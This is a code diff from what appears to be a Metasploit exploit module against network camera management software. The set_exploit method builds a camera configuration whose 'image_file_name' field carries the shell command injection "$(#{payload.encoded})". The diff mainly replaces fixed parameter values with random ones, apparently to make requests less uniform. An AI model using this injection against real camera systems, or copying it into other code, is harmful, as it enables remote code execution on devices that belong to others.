@@ -234,7 +234,7 @@ def set_exploit(camera_id)
234234 'proto' => 'netcam' ,
235235 'auto_brightness' => false ,
236236 'rotation' => [ 0 , 90 , 180 , 270 ] . sample ,
237- 'framerate' => '2' ,
237+ 'framerate' => rand ( 2 .. 30 ) ,
238238 'privacy_mask' => false ,
239239 'storage_device' => 'custom-path' ,
240240 'network_server' => '' ,
@@ -262,41 +262,41 @@ def set_exploit(camera_id)
262262 'web_hook_storage_enabled' => false ,
263263 'command_storage_enabled' => false ,
264264 'text_overlay' => false ,
265- 'text_scale' => Rex :: Text . rand_text_numeric ( 1 ..3 ) ,
265+ 'text_scale' => rand ( 1 ..3 ) ,
266266 'video_streaming' => false ,
267- 'streaming_framerate' => '5' ,
268- 'streaming_quality' => '85' ,
269- 'streaming_resolution' => '100' ,
267+ 'streaming_framerate' => rand ( 5 .. 30 ) ,
268+ 'streaming_quality' => rand ( 50 .. 95 ) ,
269+ 'streaming_resolution' => rand ( 50 .. 95 ) ,
270270 'streaming_server_resize' => false ,
271271 'streaming_port' => '9081' ,
272272 'streaming_auth_mode' => 'disabled' ,
273273 'streaming_motion' => false ,
274274 'still_images' => true ,
275275 'image_file_name' => "$(#{ payload . encoded } )" ,
276- 'image_quality' => '85' ,
276+ 'image_quality' => rand ( 50 .. 95 ) ,
277277 'capture_mode' => 'manual' ,
278278 'preserve_pictures' => '0' ,
279279 'manual_snapshots' => true ,
280280 'movies' => false ,
281281 'movie_file_name' => '%Y-%m-%d/%H-%M-%S' ,
282- 'movie_quality' => '75' ,
282+ 'movie_quality' => rand ( 50 .. 95 ) ,
283283 'movie_format' => 'mp4 => h264_v4l2m2m' ,
284284 'movie_passthrough' => false ,
285285 'recording_mode' => 'motion-triggered' ,
286286 'max_movie_length' => '0' ,
287287 'preserve_movies' => '0' ,
288288 'motion_detection' => false ,
289289 'frame_change_threshold' => "0.#{ Rex ::Text . rand_text_numeric ( 16 ) } " ,
290- 'max_frame_change_threshold' => '0' ,
290+ 'max_frame_change_threshold' => rand ( 0 .. 1 ) ,
291291 'auto_threshold_tuning' => false ,
292292 'auto_noise_detect' => false ,
293- 'noise_level' => Rex :: Text . rand_text_numeric ( 10 ..32 ) ,
293+ 'noise_level' => rand ( 10 ..32 ) ,
294294 'light_switch_detect' => '0' ,
295295 'despeckle_filter' => false ,
296- 'event_gap' => Rex :: Text . rand_text_numeric ( 5 ..30 ) ,
297- 'pre_capture' => '1' ,
298- 'post_capture' => '1' ,
299- 'minimum_motion_frames' => Rex :: Text . rand_text_numeric ( 20 ..30 ) ,
296+ 'event_gap' => rand ( 5 ..30 ) ,
297+ 'pre_capture' => rand ( 1 .. 5 ) ,
298+ 'post_capture' => rand ( 1 .. 5 ) ,
299+ 'minimum_motion_frames' => rand ( 20 ..30 ) ,
300300 'motion_mask' => false ,
301301 'show_frame_changes' => false ,
302302 'create_debug_media' => false ,
0 commit comments